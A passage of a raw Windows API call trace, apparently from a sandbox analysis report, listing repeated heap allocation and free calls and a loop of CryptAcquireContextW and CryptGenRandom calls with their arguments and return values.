(HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0031.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0031.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0031.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0031.004] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.004] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.004] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.005] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.005] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.005] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.005] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.006] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.006] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.006] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.007] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.007] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.007] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.008] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.008] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.008] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.009] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.009] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.009] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.009] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.009] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.009] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.010] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.010] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.010] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.011] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.011] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.011] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.012] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.012] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.012] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.012] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.012] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.012] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.013] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.013] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.013] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.014] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.014] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.014] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.015] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.015] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.015] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.016] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.016] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.016] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.016] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.016] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.016] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.017] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.017] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.017] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.018] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.018] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.018] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.019] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.019] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.019] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.020] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.020] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.020] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.020] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.020] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.020] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.021] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.021] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.021] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.022] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.022] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.022] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.023] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.023] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.023] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.023] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.023] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.023] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.024] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.024] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.024] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.025] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.025] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.025] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.026] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.026] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.026] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.026] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.026] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.027] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.027] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.027] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.027] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.028] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.028] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.028] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.029] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.029] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.029] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.029] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.029] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.030] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.030] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.030] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.030] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.031] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.031] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.031] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.032] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.032] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0031.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0031.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0031.032] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.033] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.033] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511668 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x516b88 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514488 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap 